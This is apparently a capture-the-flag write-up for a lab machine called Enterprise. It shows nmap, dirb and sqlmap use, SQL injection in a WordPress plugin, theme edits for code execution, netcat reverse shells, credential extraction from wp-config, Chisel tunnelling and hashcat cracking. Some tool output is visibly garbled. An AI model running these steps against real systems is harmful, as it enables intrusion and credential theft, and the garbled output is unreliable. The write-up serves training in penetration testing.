## **Enterprise**

#### **Synopsis**

Enterprise requires a wide range of knowledge and skills to successfully exploit. It features a custom wordpress plugin and a buffer overflow vulnerability that can be exploited both locally and remotely.

#### Skills

- Knowledge of Linux
- Enumerating wordpress installation
- Understanding of memory handling and buffer overflow
- Identifying docker instances
- Exploiting wordpress plugins
- Exploiting buffer overflow

#### **Exploitation**

As always we start with the nmap to check what services/ports are open

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-19 15:20 EDT
Nmap scan report for 10.10.10.61 (10.10.10.61)
Host is up (0.093s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.491 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
2048 c4e98cc5b55223f4b8ced1964ac0faac (RSA)
256 f39a8558aad981382dea1518f78edd42 (ECDSA)
256 debf16dc02783fc1b34c04f4f6c768b (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
Littp-server-header: Apache/2.4.10 (Debian)
Littp-server-header: Apache/2.4.10 (Debian)
Littp-server-header: Apache/2.4.10 (Debian)
Littp-server-header: Subject: common/mane=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
Not valid before: 2017-08-25110:335:14
Not valid before: 2017-08-25110:335:14
Not valid after: 2017-09-24710:35:14
Not valid after: 2017-09-24710:35:14
Littp-server-header: Apache/2.4.25 (Ubuntu)
Lis-alpn:
http-file: Apache 2 Ubuntu Default Page: It works
8880/cp open http Apacheh/2.4.25 (Ubuntu)
Lis-alpn:
http-file: Apache 2 Ubuntu Default Page: It works
8880/cp open http Apacheh/2.4.26 (Ubenian))
Littp-server-header: Apache/2.4.10 ((Debian))
Littp-open-proxy: Potentially OPEN proxy.
JMethods supported: CONNECTION
http-robots.txt: 15 disallowed entries
//oom/a/administrator/ /administrator/ /bin/ /cache/
//cli/ /components/ /initudes/ /inistallation/ /language/
//cli//components/ /initudes/ /inistallation/ /language/
//cli//components/ /initudes/ /inistallation/ /language/
```


We see that a hostname enterprise.local is exposed so let's register it in our /etc/hosts file alongside the name enterpise.htb

```
File Actions Edit View Help


GNU nano 7.2

127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.61 enterprise.local enterprise.htb
```

Opening port 80/HTTP gives us the wordpress page, so let's enumerate available users




#### And we found a user william.riker



Launching wpscan confirms that, it's the only user we can find

#### Opening 443/HTTPS gives us a standard apache webpage,



# in that case we should launch our dirb to find any hidden files/directoreis

```
# dirb https://enterprise.local

DIRB v2.22
By The Dark Raver


START_TIME: Mon Jun 19 15:25:29 2023
URL_BASE: https://enterprise.local/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

— Scanning URL: https://enterprise.local/


⇒ DIRECTORY: https://enterprise.local/files/
```

And we found /files directories that allows us to download archived file lcars.zip (a bit of search on the internet revealed that lcars is a name of the wordpress plugin)



Static analysis of the lcars files reveled that parameter "query" is vulnerable to SQL injection due to lack of sanitization

Let's then launch SQL map against it to extract information from the database, but first we need to confirm a location of the plugins on our wordpress instance



#### Forbidden

You don't have permission to access /wp-content/plugins/lcars/ on this server.

Apache/2.4.10 (Debian) Server at enterprise.htb Port 80

```
# sqlmap -r res.txt -dbs -dbms=mysql -risk 3 -level 5 -threads 10 --privileges --batch

{1.7.2#stable}

{1.7.2#stable}

[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:38:57 /2023-06-19/

[15:38:57] [INFO] parsing HTTP request from 'res.txt'

**ustom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y

15:38:58] [MARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly


15:38:58] [INFO] testing connection to the target URL

15:38:59] [INFO] testing if the target is protected by some kind of WAF/IPS

15:38:59] [INFO] target URL content is stable

15:38:59] [INFO] target URL content is the url parameter '#1*' is dynamic
```


After a while we extracted credentials from the database, and now we can login into the worpdress instance



Now we modify one of the wordpres themes to put our malicious PHP code and get a remote code execution








 $\textbf{Fatal error:} \ \textbf{Call to undefined function get\_header() in \textbf{/var/www/html/wp-content/themes/twentyseventeen/index.php} \ on \ line \ \textbf{18} \\$ 

And we successfully got a remote code execution



And got a reverse shell on the target

```
-# nc -nlvp 5555
.istening on [any] 5555 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.61] 51322
cash: cannot set terminal process group (1): Inappropriate ioctl for device
cash: no job control in this shell
cash: no job device in this shell
cash: no job control in this shell
cash: no job
```

But quick reconnaissance on the target revealed that it's a docker container

```
73 root root 4096 May
                                      2022
-rwxr-xr-x
             1 root root
                            0 Sep
                                      2017 .dockerenv
             2 root root 4096 May 30
drwxr-xr-x
                                      2022 bin
             2 root root 4096 May 30
drwxr-xr-x
                                      2022 boot
                          340 Jun 19 19:50 dev
            5 root root
drwxr-xr-x
           70 root root 4096 May 30
                                      2022 etc
drwxr-xr-x
drwxr-xr-x
             2 root root 4096 May 30
                                      2022 home
                                      2022 lib
drwxr-xr-x 13 root root 4096 May 30
drwxr-xr-x 2 root root 4096 May 30
                                      2022 lib64
             2 root root 4096 May 30
                                      2022 media
drwxr-xr-x
            2 root root 4096 May 30
drwxr-xr-x
                                      2022 mnt
            2 root root 4096 May 30
                                      2022 opt
drwxr-xr-x
dr-xr-xr-x 214 root root
                            0 Jun 19
                                     19:50 proc
            2 root root 4096 May 30
                                      2022 root
drwx—
            7 root root 4096 May 30
                                       2022 run
drwxr-xr-x
drwxr-xr-x 22root root 4096 May 30
                                      2022 sbin
            2 root root 4096 May 30
                                      2022 srv
drwxr-xr-x
                            0 Jun 19 19:50 svs
dr-xr-xr-x 13 root root
            3 root root 4096 Jun 19 19:50 tmp
drwxrwxrwt
drwxr-xr-x 44 root root 4096 May 30
                                      2022 usr
drwxr-xr-x 33 root root 4096 May 30
                                      2022 var
www-data@b8319d86d21e:/$
```

First of all, let's extract credentials from wp-config file

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'NCC-1701E');

/** MySQL hostname */
define('DB_HOST', 'mysql');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#0+
```

And check what other hosts are available

And we learnt about the IP address of another docker instance on which the MySQL database is hosted (for which we just got credentials)

```
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.2 mysql 15af95635b7d
172.17.0.3 b8319d86d21e
www-data@b8319d86d21e:/var/www/html$
```

Now we need to upload Chisel on our target to perform port forwarding, to make this mysql database accessible from our attacker's machine

```
www-data@b8319d86d21e:/tmp$ ./chisel_linux client 10.10.14.8:2222 R:3306:172.17.0.2:3306 6
[1] 174
www-data@b8319d86d21e:/tmp$ 2023/06/19 20:24:20 client: Connecting to ws://10.10.14.8:2222
2023/06/19 20:24:20 client: Fingerprint c1:72:c0:00:e8:fe:5b:cc:c3:2f:43:c1:a9:f3:5d:44
2023/06/19 20:24:20 client: Connected (Latency 85.667045ms)
```

And now we can access target's mysql database from our attacker's machine

```
# ./chisel_linux server -p 2222 -reverse &

[3] 18156

2023/06/19 16:24:11 server: Reverse tunnelling enabled
2023/06/19 16:24:11 server: Fingerprint c1:72:c0:00:e8:fe:5b:cc:c3:2f:43:c1:a9:f3:5d:44
2023/06/19 16:24:11 server: Listening on http://0.0.0.0:2222

—(root⊛ kali)-[/opt/Chisel]

# 2023/06/19 16:24:19 server: session#1: tun: proxy#R:3306⇒172.17.0.2:3306: Listening

—(root⊛ kali)-[/opt/Chisel]

# nmap -v 127.0.0.1 -p 3306
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-19 16:24 EDT
Initiating SYN Stealth Scan at 16:24
Scanning localhost (127.0.0.1) [1 port]
Discovered open port 3306/tcp on 127.0.0.1
Completed SYN Stealth Scan at 16:24, 0.02s elapsed (1 total ports)
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000036s latency).

PORT STATE SERVICE
3306/tcp open mysql

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
Raw packets sent: 1 (44B) | Rcvd: 2 (88B)
```

Quick look at the content of the MySQL database shows, that it stores credentials for the joomla CMS

MySQL [joomladb]:	describe edz2g	_users;	n i i o v	· Commanda and with .		
Field	Type SQL connec	Null	Key	Default	Extra	
id   name   username   email   password   block   sendEmail   registerDate   lastvisitDate   activation   params   lastResetTime   resetCount   otpKey	int(11) varchar(400) varchar(150) varchar(100) tinyint(4) tinyint(4) datetime datetime varchar(100) text datetime int(11) varchar(1000) varchar(1000)	NO N	PRI MUL MUL MUL MUL	NULL    0	auto_increment   Ab and others.     current input s atemen	
requireReset	tinyint(4)	NO	i +	0		
MySQL [joomladb]:	> select username	e,passw	ord fro	om edz2g_users;		
   username	password					
+   geordi.la.forge   Guinan				9gU.8RAf37GyN7JIrPE7us 0LYulrjKRExceg2i0147/E		
+ 2 rows in set (0	.091 sec)					

And we got hashed password for the user on the joomla

Let's launch hashcat against our hash to crack it

```
-# hashcat hash /usr/share/dirb/wordlists/common.txt -m 3200
nashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

Operice #1: pthread-penryn-Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz, 721/1507 MB (256 MB allocatable), 1MCU

Unimum password length supported by kernel: 0
Naximum password length supported by kernel: 72

Nashes: 1 digests; 1 unique digests, 1 unique salts
31tmaps: 16 bits, 65536 entries, 0*0000ffff mask, 262144 bytes, 5/13 rotates
8ules: 1


Optimizers applied:

Zero-Byte
Single-Hash
Single-Salt
```

And we successfully cracked the hash, and now we can login to the joomla CMS



### Let's modify one of the templates to get a remote code execution



```
Listening on [any] 5555 ...

connect to [10.10.14.8] from (UNKNOWN) [10.10.10.61] 41770

bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell

www-data⊕a7018bfdc454:/var/www/html$

■
```

#### And we got a shell on another docker container

```
// root root 4096 May 30
                                          2022 .
             77 root root 4096 May 30
drwxr-xr-x
                                          2022
                                          2017 .dockerenv
            1 root root 0 Sep 3
-rwxr-xr-x
drwxr-xr-x 2 root root 4096 May 30 drwxr-xr-x 2 root root 4096 May 30
                                         2022 bin
                                        2022 boot
drwxr-xr-x 5 root root 340 Jun 19 19:50 dev
-rwxrwxr-x 1 root root 3131 Aug 31 2017 entrypoint.sh
drwxr-xr-x
drwxr-xr-x 70 root root 4096 May 30
                                         2022 etc
drwxr-xr-x 2 root root 4096 May 30 2022 home
drwxr-xr-x 13 root root 4096 May 30
                                         2022 lib
            2 root root 4096 May 30
                                         2022 lib64
drwxr-xr-x
             1 root root 968 Aug 31
                                         2017 makedb.php
-rw-rw-r --
             2 root root 4096 May 30
                                         2022 media
drwxr-xr-x
             2 root root 4096 May 30
                                         2022 mnt
drwxr-xr-x
drwxr-xr-x 2 root root 4096 May 30 2022 opt
dr-xr-xr-x 238 root root 0 Jun 19 19:50 proc

    2 root root 4096 May 30 2022 root

drwx-
             7 root root 4096 May 30
drwxr-xr-x
                                          2022 run
drwxr-xr-x     2 root root 4096 May 30     2022 sbir
drwxr-xr-x     2 root root 4096 May 30     2022 srv
                                         2022 sbin
dr-xr-xr-x 13 root root
                               0 Jun 19 20:03 sys
drwxrwxrwt 19 root root 4096 May 30 2022 tmp
drwxr-xr-x 48 root root 4096 May 30 2022 usr
drwxr-xr-x 33 root root 4096 May 30
                                         2022 var
www-data@a7018bfdc454:/$
```